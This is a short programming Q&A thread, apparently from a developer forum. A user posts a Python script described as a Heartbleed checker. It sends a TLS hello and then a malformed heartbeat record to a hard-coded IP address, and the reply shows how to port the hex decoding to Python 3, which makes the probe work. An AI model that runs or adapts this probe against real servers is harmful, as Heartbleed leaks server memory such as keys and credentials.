Reputation: 76
I was looking for hertbleed ssl vulnerability online and came up with a simple code online from Sans:
import socket
sh=socket.socket()
sh.connect(("54.217.122.251",443))
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
helloresponse=sh.recv(8196)
sh.send("1803020003014000".decode('hex'))
data=sh.recv(8196)
This code simply sends a Hello message in the decoded format using python decode to SSL server to find if the server is vulnerable to Heartbleed vulnerability. But when i run this code in python 3.7 it shows an error as follows :
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
AttributeError: 'str' object has no attribute 'decode'
NOTE: Try using another IP address and not the one used in this
Upvotes: 1
Views: 148
Reputation: 55759
Decoding str
values from hex worked in Python 2:
>>> "1803020003014000".decode('hex')
'\x18\x03\x02\x00\x03\x01@\x00'
In Python 3, you want to use bytes.fromhex:
>>> bytes.fromhex("1803020003014000")
b'\x18\x03\x02\x00\x03\x01@\x00'
Upvotes: 1